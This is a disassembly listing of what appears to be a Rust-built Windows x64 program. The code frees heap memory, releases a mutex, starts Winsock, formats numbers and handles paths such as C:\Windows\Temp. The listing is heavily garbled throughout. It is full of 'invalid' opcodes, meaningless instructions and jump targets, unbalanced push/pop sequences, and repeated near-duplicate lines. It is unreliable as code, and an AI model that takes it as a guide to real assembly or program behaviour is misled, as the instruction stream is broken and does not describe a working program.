movups xmm0, xmmword [rbp - 0x3c]
movsd xmm1, qword [rbp - 0x2c]
mov r8d, dword [rbp - 0x20]
ror byte [r15], 0x10
invalid
invalid
mov edx, dword [rbp - 0x24]
mov ecx, eax
shl ecx, 0x15
fmul qword [rcx + 0x15e1c1c1]
sar ecx, 0x1f
and ecx, dword [rbp - 0x1c]
in al, 0x83
mov ebp, 0x24c
invalid
stc
invalid
in al, 0x83
in al, 0x83
mov ebp, 0x24c
add byte [rsi + rcx*2 + 0x48], dh
shl edx, 0x20
add r8b, byte [rax]
add byte [rax], al
je 0x1400dd7a9
shl rdx, 0x20
or rdx, r8
ret 0xc748
mov qword [rsi], 0
mov dword [rsi + 0x10], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add bh, al
sbb byte [rax], r8b
add byte [rax], al
add byte [rdi], cl
adc dword [rsi + 0x20], eax
mov dword [rsi + 0x18], 0
movups xmmword [rsi + 0x20], xmm0
movlps qword [rsi + 0x30], xmm1
mov qword [rsi + 0x38], rdx
push rsi
cmp byte [rcx + 0x4e894046], cl
test r12, r12
xor byte [rax - 0x77], r9b
xor byte [rax - 0x77], cl
push rsi
cmp byte [rcx + 0x4e894046], cl
test r12, r12
in al, 0xf
test byte [rdi + 0x48fffffd], ah
invalid
dec dword [rax - 0x75]
or eax, 0x9fa6f
je 0x1400dd539
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
pop rsp
sbb al, 3
invalid
invalid
jmp 0x1400dd539
test eax, 0x400
je 0x1400dd75b
leave
and r9d, 0x20000000
loope 0x1400dd7b7
add byte [rax], al
invalid
je 0x1400dd75b
and byte [rdi + rbx*4 + 0x48], dh
mov dword [rsi + 8], ebx
invalid
mov qword [rsi + 8], rbx
or byte [rax - 0x39], cl
invalid
mov qword [rsi], 2
test r12, r12
je 0x1400dd552
std
invalid
invalid
std
invalid
dec dword [rax - 0x75]
or eax, 0x9fa31
or dword [rax], eax
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400dd552
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea eax, [rax + 2]
add byte [rax], al
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea eax, [rax + 2]
add byte [rax], al
call fcn.1400d49e0
nop
add rsp, 0x38
pop rbx
pop rdi
pop rsi
jno 0x1400dd816
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
lea rbp, [rsp + 0x40]
mov qword [rbp - 8], 0xfffffffffffffffe
clc
invalid
invalid
invalid
dec dword [rax - 0x77]
invalid
invalid
mov qword [rbp - 0x18], rdx
call 0xcb55eb4d
call 0x148865b9c
invalid
je 0x1400dd864
clc
invalid
invalid
call 0xcb55eb4d
call 0x148865b9c
add byte [rbp + rcx + 0x48], dh
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae 0x1400dd86a
mov r8, qword [rbp - 0x10]
jmp 0x1400dd872
add rsp, 0x40
add esp, 0x40
pop rbp
ret
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
or eax, 0x9f98f
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
xor edx, edx
add rsp, 0x40
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x48], dl
sub esp, 0x20
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
js 0x1400dd8ae
invalid
je 0x1400dd8d3
invalid
js 0x1400dd8ae
add byte [rdx + rbp + 0x48], dh
mov eax, dword [rbp - 0x18]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
adc byte [rcx], dl
adc dword [rdx + 0xc], esi
jb case.0x1400dc072.89
mov rax, qword [rbp - 0x10]
mov rax, qword [rax - 8]
mov qword [rbp - 0x10], rax
invalid
mov rcx, qword [0x14017d208]
stc
or dword [rax], eax
xor edx, edx
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbp
ret
and byte [rbp - 0x3d], bl
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rcx, qword [rcx]
mov eax, ecx
and eax, 3
loopne 0x1400dd8f5
loopne 0x1400dd8f5
lea rdx, [0x140175a4c]
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
jmp rax
invalid
push rbx
or dword [rcx], 0x4634800
invalid
loopne 0x1400dd94b
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
add rsp, 0x20
and byte [rbp - 0x3d], bl
or byte [rax - 0x7d], cl
invalid
and byte [rbp - 0x3d], bl
shr rcx, 0x20
call fcn.1400d6ef0
movzx ecx, al
jmp 0x1400dd921
invalid
add al, 0x48
shr ecx, 0x20
shr rcx, 0x20
lea rax, [0x140147f00]
mov rdx, qword [rax + rcx*8]
lea rax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOs
cmpsd dword [rsi], dword [rdi]
invalid
add byte [rax - 0x75], cl
add al, 0xc8
add rsp, 0x20
pop rbp
ret
cmpsd dword [rsi], dword [rdi]
invalid
mov rax, qword [rcx - 1]
mov rdx, qword [rcx + 7]
invalid
mov rcx, rax
call qword [rdx + 0x40]
push rdx
nop
dec dword [rax - 0x75]
push rcx
invalid
push rdx
nop
add rsp, 0x20
pop rbp
ret
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
and al, 0x20
mov r8, qword [rcx]
mov ecx, r8d
and ecx, 3
xor eax, eax
ror byte [rax - 0x73], 0x51
dec byte [rax - 0x7d]
cli
add dh, byte [rbx + 6]
ror byte [rax - 0x73], 0x51
dec byte [rax - 0x7d]
cli
add dh, byte [rbx + 6]
add rsp, 0x20
pop rbp
ret
test rcx, rcx
je 0x1400dd97f
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
invalid
invalid
call qword [rax + 0x48]
nop
add rsp, 0x20
pop rbp
ret
invalid
insb byte [rdi], dx
and al, 0x20
mov r8, qword [rcx]
add dword [rcx + rcx*4 - 0x3f], eax
add dword [rcx + rcx*4 - 0x3f], eax
and ecx, 3
xor eax, eax
lea rdx, [rcx - 2]
cmp rdx, 2
jae 0x1400dd9c5
add rsp, 0x20
pop rbp
ret
test rcx, rcx
je 0x1400dd9bf
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
call qword [rax + 0x30]
nop
add rsp, 0x20
invalid
and byte [rbp - 0x3d], bl
invalid
int3
push rdi
movabs byte [0x8948c6894c000000], al
xlatb
add byte [rbp + rcx*4 + 0x25], cl
or byte [r9], 0
or byte [rcx], 0
or byte [rcx], 0
nop dword [rax]
cmp byte [rdx + 0xf], 0x23
jne 0x1400ddaa0
mov rcx, r14
int1
call fcn.1400d49e0
test rsi, rsi
je 0x1400dda9e
outsd dx, dword [rsi]
invalid
div byte [rbx + rbp*2 - 0x47]
cmc
invalid
invalid
invalid
sal byte [rbp + rbx - 0x77], 0xd0
loopne 0x1400dd9e2
jp 0x1400dda74
and esi, dword [rdi + rdi*4 - 0x15]
invalid
add byte [rax], al
add byte [rax], al
cmp eax, 0x48f08948
sub eax, edx
cmp cl, byte [rax + 1]
xlatb
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
clc
invalid
je 0x1400dda26
jmp 0x1400ddaa0
lea eax, [0x140146308]
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
test r8, r8
je 0x1400ddc76
mov eax, eax
shl rax, 4
xor edx, edx
xor ecx, ecx
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
cmp dword [rdi + rdx], 0
jne 0x1400ddb22
add dword [rax], eax
add byte [rax - 0x3f], cl
loope 0x1400ddb3c
cmp byte [rdx + 0xf], 0x23
jne 0x1400ddc78
mov rcx, r14
call fcn.1400d49e0
test r12, r12
je 0x1400ddc76
mov ecx, esi
nop dword [rax]
test rcx, rcx
je 0x1400ddba0
mov r8d, dword [rax + 0x10]
add rax, 0x10
add rcx, 0xfffffffffffffff0
test r8, r8
je 0x1400ddb80
xor r8d, r8d
mov rdx, r15
mov ecx, 0xfffffff4
mov r9, rbx
call fcn.1400d4b40
lea ebp, [rdi - 1]
dec dword [rax - 0x77]
clc
lea ebp, [rdi - 1]
dec dword [rax - 0x77]
clc
mov qword [rbp], rdx
test rax, rax
je 0x1400ddbe0
test dword [rax], eax
add rax, r13
jmp rax
mov r9d, dword [rdi + r8]
sub rax, r9
jb 0x1400ddc32
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
je 0x1400ddb5a
jmp 0x1400ddc78
cmovs edi, dword [rcx]
enter 0x4677, 0x29
ror dword [rcx + 0x4701480f], 8
cmp qword [rbp - 8], 0
jne 0x1400ddb5a
sub rsp, 0x20
lea rbp, [rsp + 0x20]
insb byte [rdi], dx
and al, 0x20
insb byte [rdi], dx
and al, 0x20
mov rsi, r8
mov rdi, qword [rcx]
mov rax, qword [rdi]
mov rbx, qword [rdi + 0x10]
sub rax, rbx
cmp rax, r8
cmp eax, eax
cmp eax, eax
jb case.0x1400a5610.1025
mov rcx, qword [rdi + 8]
add rcx, rbx
mov r8, rsi
mov eax, esi
or byte [r8 + 1], r9b
or byte [rax + 1], cl
invalid
mov eax, esi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
ror byte [rax - 0x7d], 0xc4
invalid
ror byte [rax - 0x7d], 0xc4
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov rcx, rdi
mov r14, rdx
mov rdx, rbx
mov edx, ebx
mov edx, ebx
mov r8, rsi
call fcn.14010c590
mov rdx, r14
mov rbx, qword [rdi + 0x10]
jmp 0x1400de864
int3
cmp dword [rax - 0x75], ecx
invalid
pop rdi
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
invalid
add rcx, rbx
lea rdx, [rbp + 4]
add al, 0x49
mov eax, esi
add al, 0x49
mov eax, esi
call sub.VCRUNTIME140.dll_memcpy
add al, byte [rax]
add rbx, rsi
mov qword [rdi + 0x10], rbx
pop rdi
adc byte [rcx], dh
ror byte [rax - 0x7d], 0xc4
invalid
sub byte [rbx + 0x5f], bl
pop rdi
adc byte [rcx], dh
ror byte [rax - 0x7d], 0xc4
invalid
sub byte [rbx + 0x5f], bl
invalid
pop rsi
pop rbp
ret
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.14010c590
add byte [rax - 0x75], cl
pop rdi
adc bl, ch
invalid
add byte [rax - 0x75], cl
pop rdi
adc bl, ch
invalid
int3
pop rbp
jmp fcn.140013960
invalid
invalid
dec esp
dec esp
int3
int3
nop
add byte [rax], al
add byte [rax], al
invalid
invalid
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov rsi, rcx
lea rax, str.stdoutstderrlibrary_std_srciomod.rs
add byte [rax - 0x77], cl
movabs al, byte [0x6a845c748]
add byte [rax], al
add byte [rax - 0x39], cl
or r14b, r15b
invalid
add byte [rax - 0x77], cl
movabs al, byte [0x6a845c748]
call fcn.1400de630
test al, al
ror byte [rdi], 0x85
invalid
add dword [rax], eax
invalid
cld
invalid
ror byte [rdi], 0x85
invalid
test dword [rsi], ebx
add dword [rax], eax
add byte [rax - 0x75], cl
add eax, 0x9e77c
mov rax, qword [0x14017d180]
cmp rax, 3
jne 0x1400deb26
add byte [rax], al
add byte [rax], al
mov rax, qword [0x14017d188]
or dword [rax], eax
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
retf 0x8d48
mov dword [rcx + 0x48000000], eax
cmp eax, ecx
jne 0x1400dea56
retf 0x8d48
inc eax
jne 0x1400dea8e
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
call fcn.14010c960
jmp 0x1400dea0e
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x81]
mov qword [0x14017d288], rax
mov eax, 1
mov dword [0x14017d290], eax
lea rax, [0x14017d288]
mov qword [rbp - 0x50], rax
lea rdi, [rbp - 0x50]
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], 0
lea rdx, [0x1401457f0]
lea rcx, [rbp - 0x30]
mov r8, rsi
call fcn.140013960
mov rcx, qword [rbp - 0x28]
test al, al
je 0x1400ded52
test rcx, rcx
lea rsi, str.formatter_error
cmovne rsi, rcx
mov rcx, qword [rbp - 0x50]
dec dword [rcx + 8]
jne 0x1400ded85
jmp 0x1400ded6b
test rcx, rcx
je 0x1400ded60
lea rcx, [rbp - 0x28]
call fcn.1400d49e0
xor esi, esi
mov rcx, qword [rbp - 0x50]
dec dword [rcx + 8]
jne 0x1400ded85
mov qword [rcx], 0
xor eax, eax
xchg byte [rcx + 0xc], al
cmp al, 2
jne 0x1400ded85
add rcx, 0xc
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
ror dword [rdi + rdi*8], 0x15
jmp 0x1400ded85
test rsi, rsi
jne 0x1400deda6
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
lea ecx, [0x14017d294]
call fcn.14010c7c0
jmp 0x1400decd7
mov qword [rbp], rsi
lea rax, [rbp - 0x60]
mov qword [rbp - 0x50], rax
lea rax, [0x140013900]
lea eax, [0x140013900]
lea eax, [0x140013900]
mov qword [rbp - 0x48], rax
mov rax, rbp
mov qword [rbp - 0x40], rax
lea rax, [fcn.1400da7b0]
mov qword [rbp - 0x38], rax
lea rax, str.failed_printing_to_:
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 2
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 2
lea rdx, str.library_std_srcio_stdio.rs
lea rcx, [rbp - 0x30]
shr al, 1
sbb bl, byte [rax + 2]
add byte [rdi], cl
invalid
shr al, 1
sbb bl, byte [rax + 2]
add byte [rdi], cl
or ecx, dword [rdi]
invalid
add byte [rax], al
mov word [rbp - 0x12], cx
mov dword [rbp - 0x16], eax
jmp 0x1400df485
rol ecx, 8
or byte [rdi], cl
adc byte [rax + 8], al
movups xmm0, xmmword [rax + 8]
mov edx, dword [rax + 4]
mov eax, dword [rax + 0x18]
mov word [rbp - 0x18], 1
movups xmmword [rbp - 0x14], xmm0
push rax
add al, 0x8b
sbb byte [rsi - 0x39], spl
call 0x1511cf47a
in al, dx
mov dword [rbp - 4], edx
mov dword [rbp], eax
add byte [r14 - 0x77], r12b
invalid
invalid
add byte [r14 - 0x77], r12b
add byte [rsi - 0x77], ah
mov dword [rbp + 4], ecx
add al, 0xf
mov bh, 0x45
invalid
movzx eax, word [rbp - 0x18]
mov ecx, dword [rbp - 0x16]
movzx edx, word [rbp - 0x12]
call 0x14ff84218
call 0x14ff84218
mov bh, 0x55
out dx, al
mov r8, qword [rbp - 0x10]
mov r9d, dword [rbp - 8]
mov dword [rsi + 0x10], r9d
invalid
invalid
adc byte [rbx + rcx*4 + 0x4d], al
cld
mov r9d, dword [rbp - 4]
cld
mov dword [rsi + 0x14], r9d
adc al, 0x44
mov ecx, dword [rbp]
mov r9d, dword [rbp]
mov dword [rsi + 0x18], r9d
movzx r9d, word [rbp + 4]
mov bh, 0x4d
add al, 0x66
mov dword [rsi + 0x1c], r9d
mov bh, 0x4d
add al, 0x66
mov dword [rsi + 0x1c], r9d
movzx r9d, word [rbp + 6]
movzx ecx, word [rbp + 6]
mov bh, 0x4d
invalid
mov word [rsi + 0x1e], r9w
mov word [rsi], ax
mov dword [rsi + 2], ecx
mov word [rsi + 6], dx
invalid
mov qword [rsi + 8], r8
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rbp
ret
xchg dword [rsi], eax
add byte [rdx + 0x39], bh
call fcn.1401046f0
lea rcx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in6___
lea ecx, str.assertion_failed:_len___mem::size_of::_c::sockaddr_in6___
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len___mem::size_of::_c::sockaddr_in___
mov edx, 0x3a
cmp al, byte [rax]
add byte [rax], al
call fcn.1401046f0
push rcx
add al, byte [rax]
push rcx
add al, byte [rax]
int3
int3
mov eax, dword [rcx]
mov rdi, qword [rax]
mov qword [rax], 0
test rdi, rdi
je 0x1400df574
lea rsi, [rbp - 0x60]
jne 0x1400df4d8
mov r8d, 0x198
mov rcx, rsi
int1
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov cx, 0x202
mov rdx, rsi
call qword [sym.imp.ws2_32.dll_WSAStartup]
add byte [rcx + 0x16c85], cl
invalid
test eax, eax
jne 0x1400df580
lea rcx, str.library_std_src_synconce.rs
call fcn.140104a40
mov qword [rbp + 0x138], 0
test dword [rax], edi
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea ebp, [rcx + rax]
add byte [rax - 0x73], cl
xchg ebp, eax
cmp byte [rcx], al
add byte [rax], al
call fcn.14010cdf0
int3
mov rax, rcx
mul r11
shr rdx, 0xb
imul eax, edx, 0x2710
mov edi, ecx
sub edi, eax
imul ebx, edi, 0x147b
add byte [rax], al
add byte [rax], al
shr ebx, 0x13
imul eax, ebx, 0x64
sub edi, eax
movzx edi, di
lea rax, [rsi - 4]
movzx ebx, word [r9 + rbx*2]
sbb al, 0x59
sbb al, 0x59
mov word [rbp + rsi - 0x4c], bx
movzx edi, word [r9 + rdi*2]
movzx edi, word [rcx + rdi*2]
mov word [rbp + rsi - 0x4a], di
mov rsi, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
mov ecx, edx
ja 0x1400df610
cmp rdx, 0x63
invalid
jbe 0x1400df68c
jnp 0x1400df680
add byte [rax], al
shr ecx, 0x11
imul r11d, ecx, 0x64
fldenv [rsp + rax*2 + 0x29]
invalid
fldenv [rsp + rax*2 + 0x29]
fimul dword [rdi]
mov bh, 0xd2
sub edx, r11d
movzx edx, dx
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x4a], dx
add rax, 0xfffffffffffffffe
add eax, 0xfffffffe
add eax, 0xfffffffe
dec byte [rax - 0x77]
retf 0x894c
mov rdx, rcx
mov edx, ecx
mov rcx, r10
cmp rdx, 0xa
cmp edx, 0xa
jae 0x1400df797
or dl, 0x30
mov byte [rbp + rax - 0x49], dl
dec rax
enter 0xfffffffffffffde9, 0
jmp 0x1400df7a5
std
add byte [rax], al
add byte [rax], al
mov eax, dword [rax]
mov r9d, 0x81
mov ecx, 0x81
invalid
invalid
add byte [rax], al
mov eax, dword [rax]
mov r9d, 0x81
mov ecx, 0x81
mov ecx, 0x81
add dword [rax], 0x89410000
mov r8d, eax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
add byte [rcx + rcx*4 - 0x37], cl
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx ecx, dl
movzx r10d, r11b
mov dh, 0xd3
cmovb r10d, r9d
mov byte [rbp + rcx - 0x4a], r10b
lea r9, [rcx - 1]
inc dword [rbx - 0x76bbef08]
invalid
jae case.0x1400dc111.111
inc dword [rbx - 0x76bbef08]
sal byte [rbx - 0x37], 0xeb
mov r8, qword [rax]
jmp 0x1400df747
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x37], cl
add byte [rcx + rcx*4 - 0x37], cl
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x4a], r10b
lea r9, [rcx - 1]
lea ecx, [rcx - 1]
lea ecx, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
mov eax, eax
mov eax, eax
jae 0x1400df710
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400df7e2
invalid
add byte [rax + 0x81], bh
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb8
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400df7d0
movzx edx, word [r9 + rdx*2]
mov word [rbp + rax - 0x4a], dx
add rax, 0xfffffffffffffffe
test r8d, r8d
setns dl
lea r8, [rax + rbp]
add r8, 0xffffffffffffffb8
mov r9d, 0x27
sub r9, rax
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r8
lea r8, [0x14016f768]
xor r9d, r9d
call fcn.140012db0
nop
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
add ah, cl
int3
int3
or ecx, esp
int3
sub rsp, 0xa0
lea rbp, [rsp + 0x80]
mov rsi, rdx
mov rdi, rcx
iretd
lea rcx, [rbp - 0x18]
call 0x18a088178
mov eax, esi
iretd
call 0x18a088178
mov eax, esi
call fcn.1400d8910
movzx edx, byte [rbp - 0x18]
call 0x1385b8387
call 0x1385b8387
mov rax, qword [rbp + 8]
lea r8, [0x140175a7c]
lea eax, [0x140175a7c]
lea eax, [0x140175a7c]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
jmp r9
invalid
add rcx, 4
jmp 0x1400df894
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x1400df894
mov ecx, 6
jmp 0x1400df894
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x1400df894
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
jb 0x1400df90e
add rcx, rdi
mov r8, rcx
test rdx, rdx
je 0x1400df8b9
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x1400df8bb
xor eax, eax
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rsi
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm1
mov rcx, qword [rbp + 8]
mov qword [rbp - 0x28], rcx
mov byte [rbp - 0x1e], al
mov word [rbp - 0x20], 0x200
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x58]
call fcn.1400dcf00
cmp byte [rbp - 0x18], 9
mov rdx, qword [rbp - 8]
jne 0x1400df901
mov rax, qword [rbp - 0x10]
jmp 0x1400df903
xor eax, eax
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.140104660
int3
test eax, eax
je 0x1400df9b0
movabs rcx, 0x706d65545c73776f
mov qword [rax + 7], rcx
movabs rcx, 0x6f646e69575c3a43
mov qword [rax], rcx
mov qword [rbp - 0x20], 0xf
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 8], 0
lea rcx, [rbp - 0x20]
mov rdx, rbx
mov r8, rdi
call case.0x1400b5866.862
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov ecx, 1
mov edx, 0xf
call fcn.140104360
int3
int3
int3
in al, dx
invalid
pop rsi
pop r15
pop rbp
ret
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
cmp qword [rbp + 0x1730], 0
add byte [rax], al
add byte [rax], al
je 0x1400e14d1
invalid
add byte [rax - 0x77], cl
test eax, edx
invalid
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rsi, qword [rbp + 0x16d0]
rcl byte [rsi]
add byte [rax], al
rcl byte [rsi]
add byte [rax], al
cmp byte [rbp + 0x1754], 0
je 0x1400e1575
cmp qword [rbp + 0x1490], 0
je 0x1400e1551
mov r8, qword [rbp + 0x1498]
mov rcx, qword [0x14017d208]
xor edx, edx
sar bh, cl
adc eax, 0x2deaf
mov qword [rbp + 0x1720], rsi
mov byte [rbp + 0x1757], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rax
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1720], rsi
mov byte [rbp + 0x1757], 0
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
pop rax
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x40], esi
je 0x1400e15e4
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x40], esi
je 0x1400e15e4
invalid
je 0x1400e15e4
mov rsi, qword [rbp + 0x1720]
cmp byte [rbp + 0x1757], 0
add byte [rax + 0x1757bd], al
add byte [rax], al
je 0x1400e160e
cmp qword [rbp + 0x16e0], 0
cmp dword [rbp + 0x16e0], 0
je 0x1400e15f1
mov r8, qword [rbp + 0x16e8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add al, byte [rax]
add al, byte [rax]
mov qword [rbp + 0x1718], rsi
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1718], rsi
movaps xmm6, xmmword [rsp + 0x40]
add byte [rdi], cl
sub byte [rsp + 0x40], dh
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rcx, qword [rbp + 0x1718]
call qword [sym.imp.kernel32.dll_ReleaseMutex]
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
je 0x1400e16d6
add byte [rax], al
add cl, ch
jmp 0x1400e2112
movzx r11d, byte [rcx + r8]
movzx r10d, r11b
test r10b, r10b
js 0x1400e2096
invalid
call fcn.14010ce90
mov r10d, eax
or r10b, bl
and r10b, 1
jmp 0x1400e2115
movzx esi, byte [rcx + rax + 1]
add dword [rcx], eax
and esi, 0x3f
cmp r10b, 0xe0
jb case.0x1400d88a8.247
movzx r10d, byte [rcx + r8 + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
or edx, esi
or edx, esi
cmp r11b, 0xf0
cmp r11b, 0xf0
cmp bl, 0xf0
jb 0x1400e20fb
movzx r11d, byte [rcx + r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r11d, 0x3f
jrcxz 0x1400e2117
jrcxz 0x1400e2117
invalid
or r11d, r10d
or ebx, edx
or r9d, r11d
jmp 0x1400e2102
shl r9d, 6
shl ecx, 6
or r9d, esi
jmp 0x1400e2102
shl r9d, 0xc
or r9d, r10d
invalid
rol dword [rcx - 0x4e], 1
add dword [rax + rax*8 - 0x7ebef38b], eax
sal byte [rbp + 0xc], 0x41
or al, 0x41
